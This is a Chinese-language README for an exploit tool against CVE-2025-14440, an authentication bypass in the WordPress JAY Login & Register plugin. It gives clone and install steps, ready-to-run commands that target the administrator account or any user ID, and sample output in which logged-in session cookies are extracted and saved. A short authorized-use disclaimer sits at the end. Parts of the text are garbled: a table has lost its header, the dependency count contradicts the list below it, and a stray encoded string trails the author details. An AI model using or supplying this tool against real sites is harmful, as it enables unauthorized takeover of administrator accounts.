CVE-2025-14440 WordPress 认证绕过漏洞利用工具
项目概述
这是一个针对 WordPress JAY Login & Register 插件 认证绕过漏洞（CVE-2025-14440）的专业安全测试工具。该漏洞源于插件在 jay_login_register_process_switch_back 函数中的认证逻辑缺陷，对 jay_login_register_switched_from_user Cookie 的值验证不充分，导致未经身份验证的攻击者能够以任意现有用户身份登录系统。
该工具由安全研究人员 Nxploited 开发，旨在帮助安全专业人员快速验证目标系统是否存在此高危漏洞，并获取有效的会话凭证。
漏洞严重性
- CVE 编号：CVE-2025-14440
- CVSS 评分：9.8（严重）
- 影响版本：JAY Login & Register ≤ 2.4.01
- 攻击向量：网络远程利用
- 权限要求：无需任何权限
- 影响范围：可获取管理员权限
安装指南
系统要求
- Python 3.6 及以上版本
- 网络访问权限（用于向目标站点发送请求）
- 仅 3 个标准库依赖：
requests、re、argparse、logging、os、sys
依赖安装
本项目仅依赖 Python 标准库和 requests 库，安装方式如下：
# 安装 requests 依赖
pip install requests
获取工具
# 克隆仓库
git clone https://github.com/Nxploited/CVE-2025-14440.git
# 进入项目目录
cd CVE-2025-14440
---|------|------|------|
| --url | -u | ✅ | 目标网站 URL，可带或不带 http:// 或 https:// 前缀 |
| --id | -id | ❌ | 目标用户 ID，默认可利用管理员账户（ID=1） |
使用示例
示例 1：攻击默认管理员账户
python3 CVE-2025-14440.py -u https://example.com -id 1
示例 2：攻击指定用户 ID
python3 CVE-2025-14440.py -u http://192.168.1.100/wordpress -id 5
示例 3：不带协议前缀的 URL
python3 CVE-2025-14440.py -u example.com/wordpress -id 1
预期输出
✅ 成功利用
=======================================================
# CVE-2025-14440 | Exploit By Nxploited (Khaled Alenazi)
# GitHub: https://github.com/Nxploited
# Telegram: https://t.me/Nxploited
=======================================================
[INFO] Sanitized target URL: https://example.com
[INFO] Attempting to extract Nonce...
[INFO] Extracted nonce: a1b2c3d4e5f6g7h8i9j0
[INFO] Attempting exploitation...
[SUCCESS] Exploitation successful. Cookies:
wordpress_logged_in_xxx=admin%7C1234567890%7C...; jay_login_register_switched_from_user=1
[INFO] Cookies saved to: extracted_cookies.txt
[INFO] Exploit process completed. Check extracted_cookies.txt.
❌ 利用失败
[ERROR] Failed to extract nonce! Exiting.
或
[WARNING] No cookies returned. Exploitation may have failed.
⚠️ 重要提示
本工具仅供教育研究和授权渗透测试使用。
- 未经目标系统所有者明确授权，严禁使用本工具
- 作者对任何非法使用或由此造成的损害概不负责
- 使用本工具前请确保遵守当地法律法规
- 建议仅在自有系统或获得书面授权的环境中测试
🙋 作者信息
- 开发：Nxploited (Khaled Alenazi)
- GitHub：github.com/Nxploited
- Telegram：t.me/Nxploited 6HFtX5dABrKlqXeO5PUv/2txb5liAVFJfw9eE+nSSaQ=
